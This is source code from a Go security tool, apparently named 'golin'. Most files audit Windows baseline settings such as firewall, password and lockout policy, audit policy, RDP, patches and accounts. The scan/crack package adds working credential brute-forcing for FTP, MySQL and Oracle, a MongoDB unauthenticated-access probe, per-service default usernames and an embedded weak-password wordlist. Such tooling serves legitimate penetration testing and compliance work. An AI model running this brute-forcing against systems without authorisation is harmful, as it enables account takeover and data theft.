"仅成功事件", Steer: "开启成功与失败事件"} 22 | case "2": 23 | one = Policyone{Name: value, Static: No, Value: "仅失败事件", Steer: "开启成功与失败事件"} 24 | case "3": 25 | one = Policyone{Name: value, Static: Yes, Value: "成功和失败事件", Steer: "开启成功与失败事件"} 26 | } 27 | } 28 | auditlist = append(auditlist, one) 29 | } 30 | echo := "" 31 | for _, v := range auditlist { 32 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 33 | } 34 | html = strings.ReplaceAll(html, "审计相关结果", echo) 35 | 36 | //高级审核策略 37 | aud := ExecCommands(`auditpol /get /category:*`) 38 | aud = strings.ReplaceAll(aud, "\r\r\n", "\n") 39 | for _, v := range strings.Split(aud, "\n") { 40 | // 创建一个正则表达式匹配多个空格 将多个连续空格替换为一个 41 | re := regexp.MustCompile(`\s{2,}`) 42 | v = re.ReplaceAllString(v, " ") 43 | if len(strings.Split(v, " ")) == 3 { 44 | one := Policyone{Name: strings.Split(v, " ")[1], Value: strings.Split(v, " ")[2], Steer: "配置为成功和失败"} 45 | switch strings.Split(v, " ")[2] { 46 | case "成功": 47 | one.Static = No 48 | case "无审核": 49 | one.Static = No 50 | case "成功和失败": 51 | one.Static = Yes 52 | } 53 | auditlist = append(auditlist, one) 54 | } 55 | } 56 | echo = "" 57 | for _, v := range auditlist { 58 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 59 | } 60 | html = strings.ReplaceAll(html, "高级审计策略结果", echo) 61 | 62 | echo = "" 63 | eventLogs := []string{"Application", "Security", "Setup", "System"} 64 | for _, v := range eventLogs { 65 | cmd := ExecCommands(fmt.Sprintf("wevtutil get-log %s", v)) 66 | echo += cmd + "\n" 67 | } 68 | html = strings.ReplaceAll(html, "日志属性结果", echo) 69 | } 70 | -------------------------------------------------------------------------------- /run/windows/disk.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "regexp" 8 | "strconv" 9 | "strings" 10 | ) 11 | 12 | func disk() { 13 | value := ExecCommands(`wmic logicaldisk get DeviceID, FileSystem, Size, FreeSpace`) 14 | value = strings.ReplaceAll(value, "\r\r\n", "\n") 15 | echo := "" 16 | for _, v := range strings.Split(value, "\n") { 17 | if strings.Count(v, "DeviceID") > 0 { 18 | continue 19 | } 20 | re := regexp.MustCompile(`\s{2,}`) 21 | v = re.ReplaceAllString(v, " ") 22 | data := strings.Split(v, " ") 23 | if len(data) == 5 { 24 | free, _ := strconv.ParseUint(data[2], 10, 64) //如果为int会溢出,int类型在32位系统上的最大值是2147483647 25 | freeg := fmt.Sprintf("%d/G", free/1024.0/1024.0/1024.0) 26 | all, _ := strconv.ParseUint(data[3], 10, 64) //如果为int会溢出,int类型在32位系统上的最大值是2147483647 27 | allg := fmt.Sprintf("%d/G", all/1024.0/1024.0/1024.0) 28 | if freeg == "0/G" || allg == "0/G" { 29 | freeg = fmt.Sprintf("%d/M", free/1024.0/1024.0) 30 | allg = fmt.Sprintf("%d/M", all/1024.0/1024.0) 31 | } 32 | percentage := (float64(free) / float64(all)) * 100 33 | percentageStr := fmt.Sprintf("%.2f%%", percentage) 34 | 35 | echo += fmt.Sprintf("%s%s%s%s%s", data[0], data[1], freeg, allg, percentageStr) 36 | } 37 | } 38 | html = strings.ReplaceAll(html, "磁盘信息结果", echo) 39 | } 40 | -------------------------------------------------------------------------------- /run/windows/iptable.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "golang.org/x/sys/windows/registry" 8 | "strings" 9 | ) 10 | 11 | func iptables() { 12 | var checkiptable []Policyone 13 | onePolicyone := Policyone{} 14 | echo := "" 15 | //域防火墙状态 16 | domainState, err := getFirewallProfileState("DomainProfile") 17 | if err == nil { 18 | if domainState == "Enabled" { 19 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"} 20 | } else { 21 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"} 22 | } 23 | } else { 24 | onePolicyone = Policyone{Name: "核查域网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"} 25 | } 26 | checkiptable = append(checkiptable, onePolicyone) 27 | //专用网络防火墙状态 28 | privateState, err := getFirewallProfileState("StandardProfile") 29 | if err == nil { 30 | if privateState == "Enabled" { 31 | onePolicyone = Policyone{Name: "核查专用网络防防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"} 32 | } 33 | } else { 34 | onePolicyone = Policyone{Name: "核查专用网络防防火墙状态", Value: "未开启", Static: No, Steer: "开启"} 35 | } 36 | checkiptable = append(checkiptable, onePolicyone) 37 | //公共网络防火墙状态 38 | publicState, err := getFirewallProfileState("PublicProfile") 39 | if err == nil { 40 | if publicState == "Enabled" { 41 | onePolicyone = Policyone{Name: "核查公共网络防火墙状态", Value: "已开启", Static: Yes, Steer: "开启"} 42 | } 43 | } else { 44 | onePolicyone = Policyone{Name: "核查公共网络防火墙状态", Value: "未开启", Static: No, Steer: "开启"} 45 | } 46 | checkiptable = append(checkiptable, onePolicyone) 47 | for _, v := range checkiptable { 48 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 49 | } 50 | html = strings.ReplaceAll(html, "防火墙状态检查结果", echo) 51 | 52 | //域防火墙规则 53 | domainrlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=domain") 54 | html = strings.ReplaceAll(html, "域防火墙规则结果", domainrlue) 55 | //专网防火墙规则 56 | privaterlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=private") 57 | html = strings.ReplaceAll(html, "专网防火墙规则结果", privaterlue) 58 | //公共防火墙规则 59 | publicrlue := ExecCommands("netsh advfirewall firewall show rule name=all profile=public") 60 | html = strings.ReplaceAll(html, "公共防火墙规则结果", publicrlue) 61 | 62 | } 63 | 64 | // getFirewallProfileState "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\ 下DomainProfile、StandardProfile、PublicProfile 65 | func getFirewallProfileState(profile string) (string, error) { 66 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\"+profile, registry.QUERY_VALUE) 67 | if err != nil { 68 | return "", err 69 | } 70 | defer key.Close() 71 | 72 | enabled, _, err := key.GetIntegerValue("EnableFirewall") 73 | if err != nil { 74 | return "", err 75 | } 76 | 77 | if enabled == 0 { 78 | return "Disabled", nil 79 | } 80 | return "Enabled", nil 81 | } 82 | -------------------------------------------------------------------------------- /run/windows/lockcount.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | // lock 核查锁定次数 12 | func lock() { 13 | locls := []Policyone{} 14 | v, ok := Policy["LockoutBadCount"] //在锁定账户之前允许的无效登录尝试次数 15 | intv, _ := strconv.Atoi(v) 16 | if ok { 17 | one := Policyone{Name: "检查在锁定账户之前允许的无效登录尝试次数", Static: No, Value: v, Steer: "不多于5次"} 18 | if intv > 0 && intv <= 5 { 19 | one.Static = Yes 20 | } 21 | locls = append(locls, one) 22 | } 23 | 24 | v, ok = Policy["LockoutDuration"] // 账户被锁定的时间(分钟) 25 | intv, _ = strconv.Atoi(v) 26 | if ok { 27 | one := Policyone{Name: "检查账户被锁定的时间(分钟)", Static: No, Value: v, Steer: "锁定不小于1分钟"} 28 | if intv > 1 { 29 | one.Static = Yes 30 | } 31 | locls = append(locls, one) 32 | } 33 | v, ok = Policy["ResetLockoutCount"] // 在重置“无效登录尝试次数”计数器之前的时间(分钟)。 34 | intv, _ = strconv.Atoi(v) 35 | if ok { 36 | one := Policyone{Name: "检查在重置“无效登录尝试次数”计数器之前的时间(分钟)。", Static: No, Value: v, Steer: "不小于3分钟"} 37 | if intv > 1 { 38 | one.Static = Yes 39 | } 40 | locls = append(locls, one) 41 | } 42 | echo := "" 43 | for _, v := range locls { 44 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 45 | } 46 | html = strings.ReplaceAll(html, "失败锁定结果", echo) 47 | } 48 | -------------------------------------------------------------------------------- /run/windows/mstsc.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "strings" 7 | ) 8 | 9 | func mstsc() { 10 | mst := ExecCommandsPowershll(`(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections").fDenyTSConnections`) 11 | mst = strings.ReplaceAll(mst, "\r\n", "") 12 | if mst == "1" { 13 | mst = Yes 14 | } 15 | if mst == "0" { 16 | mst = No 17 | } 18 | html = strings.ReplaceAll(html, "开启远程桌面结果", mst) 19 | html = strings.ReplaceAll(html, "开启远程桌面端口结果", ExecCommandsPowershll(`(Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\').PortNumber`)) 20 | } 21 | -------------------------------------------------------------------------------- /run/windows/netstat.go: -------------------------------------------------------------------------------- 1 | package windows 2 | 3 | import ( 4 | "fmt" 5 | "github.com/shirou/gopsutil/v3/net" 6 | ) 7 | 8 | func netstat() string { 9 | 10 | td := "" 11 | connections, err := net.Connections("all") 12 | if err != nil { 13 | fmt.Println(err) 14 | return "" 15 | } 16 | for _, connection := range connections { 17 | td += "" 18 | switch connection.Type { 19 | case 1: 20 | td += fmt.Sprintf("tcp") 21 | case 2: 22 | td += fmt.Sprintf("udp") 23 | } 24 | td += fmt.Sprintf("%s", connection.Laddr.IP) 25 | td += fmt.Sprintf("%s", connection.Raddr.IP) 26 | td += fmt.Sprintf("%s", connection.Status) 27 | td += fmt.Sprintf("%d", connection.Laddr.Port) 28 | td += fmt.Sprintf("%d", connection.Pid) 29 | td += fmt.Sprintf("%s", ExecCommandsPowershll(fmt.Sprintf("Get-Process | Where-Object {$_.Id -eq %d} | Select-Object -ExpandProperty Path", connection.Pid))) 30 | td += "" 31 | } 32 | 33 | return td 34 | 35 | } 36 | -------------------------------------------------------------------------------- /run/windows/osinfo.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "regexp" 8 | "strings" 9 | ) 10 | 11 | func osinfo() { 12 | name := cmdvalue(`wmic os get Caption /value`) 13 | Version := cmdvalue(`wmic os get Version /value`) 14 | //获取架构后,正则匹配数字,设置代码页936后位字乱码 15 | arch := cmdvalue(`wmic os get OSArchitecture /value`) 16 | re := regexp.MustCompile(`\d+`) 17 | arch = re.FindAllString(arch, -1)[0] 18 | InstallDate := cmdvalue(`wmic os get InstallDate /value`) 19 | html = strings.ReplaceAll(html, "操作系统详细信息", fmt.Sprintf("%s%s%s%s%s%s%s%s", ExecCommandsPowershll("hostname"), name, Version, arch, InstallDate, ExecCommandsPowershll(` typeperf "\Processor(_Total)\% Processor Time" -sc 1 | Select-String -Pattern '"(\d+\.\d+)"\s*' | ForEach-Object { [math]::Round([double]$_.Matches.Groups[1].Value, 2) }`), ExecCommandsPowershll(`typeperf "\Memory\% Committed Bytes In Use" -sc 1 | Select-String -Pattern '"(\d+\.\d+)"\s*' | ForEach-Object { [math]::Round([double]$_.Matches.Groups[1].Value, 2) }`), ExecCommandsPowershll("date"))) 20 | systeminfo := ExecCommands("systeminfo") 21 | html = strings.ReplaceAll(html, "系统信息结果", systeminfo) 22 | 23 | } 24 | 25 | func cmdvalue(cmd string) string { 26 | v := ExecCommands(cmd) 27 | v = strings.ReplaceAll(v, "\r\r\n", "") 28 | vlsit := strings.Split(v, "=") 29 | if len(vlsit) == 2 { 30 | return vlsit[1] 31 | } 32 | return "" 33 | 34 | } 35 | -------------------------------------------------------------------------------- /run/windows/passwd.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | // checkpasswd 检查密码复杂度相关策略 12 | func checkpasswd() { 13 | var passwd []Policyone 14 | v, ok := Policy["PasswordComplexity"] //是否开启启用密码复杂度要求 15 | if ok { 16 | one := Policyone{Name: "检查是否开启密码复杂度要求", Static: No, Value: "未开启", Steer: "开启密码复杂度要求"} 17 | if v == "1" { 18 | one.Static = Yes 19 | one.Value = "已开启" 20 | } 21 | passwd = append(passwd, one) 22 | } 23 | 24 | v, ok = Policy["MinimumPasswordLength"] //检查密码的最短长度要求 25 | intv, _ := strconv.Atoi(v) 26 | if ok { 27 | one := Policyone{Name: "检查密码的最短长度要求(位数)", Static: No, Value: v, Steer: "长度不低于8位"} 28 | if intv >= 8 { 29 | one.Static = Yes 30 | } 31 | passwd = append(passwd, one) 32 | } 33 | 34 | v, ok = Policy["PasswordHistorySize"] //在允许重新使用相同密码之前必须使用的唯一新密码的数量。 35 | intv, _ = strconv.Atoi(v) 36 | if ok { 37 | one := Policyone{Name: "检查在允许重新使用相同密码之前必须使用的唯一新密码的数量", Static: No, Value: v, Steer: "不允许"} 38 | if intv == 0 { 39 | one.Static = Yes 40 | } 41 | passwd = append(passwd, one) 42 | } 43 | //替换 44 | echo := "" 45 | for _, v := range passwd { 46 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 47 | } 48 | html = strings.ReplaceAll(html, "密码复杂度结果", echo) 49 | //密码有效期 50 | passwd = []Policyone{} 51 | v, ok = Policy["MaximumPasswordAge"] //密码的最长有效期限(天数) 52 | intv, _ = strconv.Atoi(v) 53 | if ok { 54 | one := Policyone{Name: "检查密码的最长有效期限(天数)", Static: No, Value: v, Steer: "不高于90天定期更换口令"} 55 | if intv <= 90 { 56 | one.Static = Yes 57 | } 58 | passwd = append(passwd, one) 59 | } 60 | v, ok = Policy["MinimumPasswordAge"] //密码的最短有效期限(天数) 61 | intv, _ = strconv.Atoi(v) 62 | if ok { 63 | one := Policyone{Name: "检查密码的最短有效期限(天数)", Static: No, Value: v, Steer: "不少于1天定期更换口令"} 64 | if intv >= 1 { 65 | one.Static = Yes 66 | } 67 | passwd = append(passwd, one) 68 | } 69 | echo = "" 70 | for _, v := range passwd { 71 | echo += fmt.Sprintf("%s%s%s%s", v.Name, v.Value, v.Static, v.Steer) 72 | } 73 | html = strings.ReplaceAll(html, "密码有效期检查结果", echo) 74 | 75 | } 76 | -------------------------------------------------------------------------------- /run/windows/patch.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "regexp" 8 | "strings" 9 | ) 10 | 11 | func patch() { 12 | //补丁信息 13 | patchecho := "" 14 | patch := ExecCommands("wmic qfe list") 15 | patch = strings.ReplaceAll(patch, "\r\n", "\n") 16 | for i := 1; i < len(strings.Split(patch, "\n")); i++ { 17 | line := strings.Split(patch, "\n")[i] 18 | var url, csname, desc, fixid, installedBy, date string 19 | fmt.Sscanf(line, "%s %s %s %s %s %s", &url, &csname, &desc, &fixid, &installedBy, &date) 20 | patchecho += fmt.Sprintf("%s %s %s %s %s %s\n", url, csname, desc, fixid, installedBy, date) 21 | // 创建一个正则表达式匹配多个空格 22 | re := regexp.MustCompile(`\s{2,}`) 23 | // 将多个连续空格替换为一个 24 | patchecho = re.ReplaceAllString(patchecho, " ") 25 | } 26 | html = strings.ReplaceAll(html, "补丁相关结果", patchecho) //补丁 27 | 28 | } 29 | -------------------------------------------------------------------------------- /run/windows/regedt.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "golang.org/x/sys/windows/registry" 8 | ) 9 | 10 | // regedt 读取是user 计算机\HKEY_LOCAL_MACHINE 11 | func regedt(path, keys string) (string, error) { 12 | // 打开注册表键值 13 | key, err := registry.OpenKey(registry.CURRENT_USER, path, registry.READ) 14 | if err != nil { 15 | fmt.Println("Error opening registry key:", err) 16 | return "", err 17 | } 18 | defer key.Close() 19 | // 读取特定键 20 | value, _, err := key.GetStringValue(keys) 21 | if err != nil { 22 | return "", err 23 | } 24 | 25 | return value, nil 26 | } 27 | 28 | // regedtmachine 读取的是计算机\HKEY_LOCAL_MACHINE\ 29 | func regedtmachineDWORD(path, keys string) (uint64, error) { 30 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE) 31 | if err != nil { 32 | fmt.Println("Error opening registry key:", err) 33 | return 0, err 34 | } 35 | defer key.Close() 36 | // 读取特定键 37 | 38 | value, _, err := key.GetIntegerValue(keys) 39 | if err != nil { 40 | return 0, err 41 | } 42 | 43 | return value, nil 44 | } 45 | 46 | // regedtmachineString 读取的是计算机\HKEY_LOCAL_MACHINE\ 47 | func regedtmachineString(path, keys string) (string, error) { 48 | key, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE) 49 | if err != nil { 50 | fmt.Println("Error opening registry key:", err) 51 | return "", err 52 | } 53 | defer key.Close() 54 | // 读取特定键 55 | 56 | value, _, err := key.GetStringValue(keys) 57 | if err != nil { 58 | return "", err 59 | } 60 | 61 | return value, nil 62 | } 63 | -------------------------------------------------------------------------------- /run/windows/users.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "strings" 8 | ) 9 | 10 | type UserInformation struct { 11 | Name string //用户名 12 | Nameall string //全名 13 | Sid string //SID 14 | Annotation string //注释 15 | Lock string //是否启用 16 | AfTime string //帐户到期 17 | Afpasswd string //上次修改密码时间 18 | PasswdAf string //密码到期 19 | Checkpass string //需要密码 20 | Aflogin string //上次登录 21 | Group string //本地组 22 | } 23 | 24 | func usercheck() { 25 | echo := "" 26 | userlist := []string{} 27 | use := ExecCommands("wmic useraccount list full") 28 | use = strings.ReplaceAll(use, "\r\r\n", "\n") 29 | for _, i := range strings.Split(use, "\n") { 30 | if strings.Count(i, "Name=") == 1 && strings.Count(i, "FullName") == 0 { 31 | userlist = append(userlist, strings.Split(i, "=")[1]) 32 | } 33 | } 34 | //var users []UserInformation //结构体用户信息 35 | for _, user := range userlist { 36 | uu := UserInformation{} 37 | u := ExecCommands("chcp 936", fmt.Sprintf("net user %s", user)) 38 | u = strings.ReplaceAll(u, "\r\n", "\n") 39 | for _, s := range strings.Split(u, "\n") { 40 | if len(s) > 0 { 41 | words := strings.Fields(s) 42 | s = strings.Join(words, " ") 43 | uservaule := strings.Split(s, " ") 44 | if len(uservaule) >= 2 { 45 | switch uservaule[0] { 46 | case "用户名": 47 | uu.Name = uservaule[1] 48 | case "全名": 49 | uu.Nameall = uservaule[1] 50 | case "注释", "Comment": 51 | echo := "" 52 | if len(uservaule) >= 1 { 53 | for i := 1; i < len(uservaule); i++ { 54 | echo += uservaule[i] 55 | } 56 | } 57 | uu.Annotation = echo 58 | case "帐户启用": 59 | uu.Lock = uservaule[1] 60 | case "帐户到期": 61 | uu.AfTime = uservaule[1] 62 | case "上次设置密码": 63 | uu.Afpasswd = uservaule[1] 64 | case "密码到期": 65 | uu.PasswdAf = uservaule[1] 66 | case "需要密码": 67 | uu.Checkpass = uservaule[1] 68 | case "上次登录": 69 | uu.Aflogin = uservaule[1] 70 | case "本地组成员": //组可能有多个 71 | group := "" 72 | if len(uservaule) > 1 { 73 | for i := 1; i < len(uservaule); i++ { 74 | group += (uservaule[i]) 75 | } 76 | } 77 | uu.Group = group 78 | } 79 | } 80 | } 81 | } 82 | //获取用户sid 83 | sid := ExecCommands(fmt.Sprintf("wmic useraccount where name='%s' get sid", user)) 84 | sid = strings.ReplaceAll(sid, "\r\r\n", "") 85 | sid = strings.ReplaceAll(sid, "SID", "") 86 | sid = strings.ReplaceAll(sid, " ", "") 87 | uu.Sid = sid 88 | echo += fmt.Sprintf("%s%s%s%s%s%s%s%s%s%s%s", uu.Name, uu.Nameall, uu.Sid, uu.Annotation, uu.Lock, uu.AfTime, uu.Afpasswd, uu.Checkpass, uu.PasswdAf, uu.Aflogin, uu.Group) 89 | } 90 | html = strings.ReplaceAll(html, "用户详细信息", echo) 91 | 92 | } 93 | -------------------------------------------------------------------------------- /run/xshell/xshell_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package xshell 4 | 5 | import "github.com/spf13/cobra" 6 | 7 | func Run(cmd *cobra.Command, args []string) { return } 8 | -------------------------------------------------------------------------------- /scan/crack/def-user-passwd.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "embed" 5 | "golin/global" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | var ( 11 | passwdlist []string 12 | userlist []string 13 | ) 14 | 15 | var userMap = map[string][]string{ 16 | "ssh": {"root"}, 17 | "mysql": {"root"}, 18 | "redis": {"", "root"}, 19 | "postgresql": {"postgres", "root"}, 20 | "sqlserver": {"sa", "administrator"}, 21 | "ftp": {"ftp", "admin"}, 22 | "smb": {"administrator", "guest"}, 23 | "telnet": {"admin", "root"}, 24 | "tomcat": {"tomcat", "manager", "admin"}, 25 | "rdp": {"administrator"}, 26 | "oracle": {"orcl", "sys", "system"}, 27 | } 28 | 29 | //go:embed password.txt 30 | var passwd embed.FS 31 | 32 | // Checkdistfile 用户自定义的字典文件 33 | func Checkdistfile(userfile, passwdfile string) { 34 | if global.PathExists(userfile) { 35 | data, _ := os.ReadFile(userfile) 36 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n") 37 | userlist = append(userlist, strings.Split(datastr, "\n")...) 38 | } 39 | if global.PathExists(passwdfile) { 40 | data, _ := os.ReadFile(passwdfile) 41 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n") 42 | passwdlist = append(passwdlist, strings.Split(datastr, "\n")...) 43 | } 44 | 45 | } 46 | 47 | func Passwdlist() []string { 48 | 49 | if len(passwdlist) > 0 { 50 | return global.RemoveDuplicates(passwdlist) 51 | } 52 | 53 | data, _ := passwd.ReadFile("password.txt") 54 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n") 55 | for _, u := range strings.Split(datastr, "\n") { 56 | passwdlist = append(passwdlist, u) 57 | } 58 | passwdlist = global.RemoveDuplicates(passwdlist) 59 | return passwdlist 60 | } 61 | 62 | func Userlist(mode string) []string { 63 | 64 | if len(userlist) > 0 { 65 | return global.RemoveDuplicates(userlist) 66 | } 67 | 68 | return userMap[mode] 69 | } 70 | -------------------------------------------------------------------------------- /scan/crack/ftp.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/jlaffaye/ftp" 7 | "time" 8 | ) 9 | 10 | func ftpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 11 | c, err := ftp.Dial(fmt.Sprintf("%s:%d", ip, port), ftp.DialWithTimeout(time.Duration(timeout)*time.Second)) 12 | if err == nil { 13 | err = c.Login(user, passwd) 14 | if err == nil { 15 | end(ip, user, passwd, port, "FTP") 16 | _ = c.Quit() 17 | cancel() 18 | } 19 | } 20 | return 21 | } 22 | -------------------------------------------------------------------------------- /scan/crack/mongodb.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | // Mongodbcon 此函数参考fscan项目感谢 12 | func Mongodbcon(ip, port string) { 13 | packet1 := []byte{ 14 | 0x69, 0x00, 0x00, 0x00, // messageLength 15 | 0x39, 0x00, 0x00, 0x00, // requestID 16 | 0x00, 0x00, 0x00, 0x00, // responseTo 17 | 0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG 18 | 0x00, 0x00, 0x00, 0x00, // flagBits 19 | 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, 20 | } 21 | //op_query 22 | packet2 := []byte{ 23 | 0x48, 0x00, 0x00, 0x00, // messageLength 24 | 0x02, 0x00, 0x00, 0x00, // requestID 25 | 0x00, 0x00, 0x00, 0x00, // responseTo 26 | 0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY 27 | 0x00, 0x00, 0x00, 0x00, // flags 28 | 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd 29 | 0x00, 0x00, 0x00, 0x00, // numberToSkip 30 | 0x01, 0x00, 0x00, 0x00, // numberToReturn 31 | // query db.adminCommand({getLog: "startupWarnings"}) 32 | 0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, 33 | } 34 | 35 | realhost := fmt.Sprintf("%s:%v", ip, port) 36 | 37 | checkUnAuth := func(address string, packet []byte) (string, error) { 38 | conn, err := net.DialTimeout("tcp", realhost, time.Duration(3)*time.Second) 39 | if err != nil { 40 | return "", err 41 | } 42 | defer func() { 43 | if conn != nil { 44 | conn.Close() 45 | } 46 | }() 47 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(3) * time.Second)) 48 | if err != nil { 49 | return "", nil 50 | } 51 | _, err = conn.Write(packet) 52 | if err != nil { 53 | return "", err 54 | } 55 | reply := make([]byte, 1024) 56 | count, err := conn.Read(reply) 57 | if err != nil { 58 | return "", err 59 | } 60 | return string(reply[0:count]), nil 61 | } 62 | 63 | reply, err := checkUnAuth(realhost, packet1) 64 | if err != nil { 65 | reply, err = checkUnAuth(realhost, packet2) 66 | if err != nil { 67 | return 68 | } 69 | } 70 | if strings.Contains(reply, "totalLinesWritten") { 71 | intport, _ := strconv.Atoi(port) 72 | end(ip, "未授权访问", "", intport, "MongoDB") 73 | } 74 | return 75 | } 76 | -------------------------------------------------------------------------------- /scan/crack/mysql.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | mysqldriver "github.com/go-sql-driver/mysql" // 原生驱动 7 | "gorm.io/driver/mysql" 8 | "gorm.io/gorm" 9 | "gorm.io/gorm/logger" 10 | ) 11 | 12 | func init() { 13 | _ = mysqldriver.SetLogger(&mysqldriver.NopLogger{}) 14 | } 15 | func mySql(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 16 | dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4&parseTime=True&loc=Local&timeout=%ds", user, passwd, ip, port, "mysql", timeout) 17 | _, err := gorm.Open(mysql.Open(dsn), &gorm.Config{ 18 | Logger: logger.Discard, // 设置为丢弃所有日志 19 | }) 20 | if err == nil { 21 | end(ip, user, passwd, port, "MySql") 22 | cancel() 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /scan/crack/oracle.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | _ "github.com/sijms/go-ora/v2" 8 | "time" 9 | ) 10 | 11 | func oraclecon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 12 | dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%d/orcl", user, passwd, ip, port) 13 | db, err := sql.Open("oracle", dataSourceName) 14 | if err == nil { 15 | db.SetConnMaxLifetime(time.Duration(timeout) * time.Second) 16 | db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second) 17 | db.SetMaxIdleConns(0) 18 | defer db.Close() 19 | err = db.Ping() 20 | if err == nil { 21 | end(ip, user, passwd, port, "oracle") 22 | cancel() 23 | } 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /scan/crack/password.txt: -------------------------------------------------------------------------------- 1 | root 2 | 123456 3 | tomcat 4 | test123456 5 | test12345 6 | test123 7 | test 8 | 1234qwer!@#$ 9 | 1234qwer 10 | system 11 | sys 12 | sqlserver 13 | sqlpass 14 | sql123 15 | sa123 16 | Aly@1234 17 | sa 18 | redhat 19 | 123.com 20 | 21 | qwerty 22 | qwer1234admin 23 | qwer123 24 | qwer1234 25 | qweasdzxc 26 | qazwsx 27 | q1w2e3r4admin 28 | q1w2e3r4 29 | postgres 30 | password123 31 | password 32 | Passw0rd 33 | pass 34 | P@ssw0rd 35 | 1qaz2wsx# 36 | ire360! 37 | oracle 38 | mysql 39 | ftppass 40 | ftp 41 | administrator123 42 | administrator 43 | admin888 44 | admin123!@# 45 | admin123 46 | admin456 47 | admin123456 48 | admin@123 49 | admin#123 50 | admin 51 | abc123 52 | 1q2w3e4r 53 | 1q2w3e 54 | 123qwe 55 | 123qaz 56 | 123asd 57 | 123456qwerty 58 | 987654321 59 | 147258369 60 | 123456789 61 | 88888888 62 | 12345678 63 | 7654321 64 | 1234567 65 | 888888 66 | 666666 67 | 654321 68 | 123321 69 | 123123 70 | 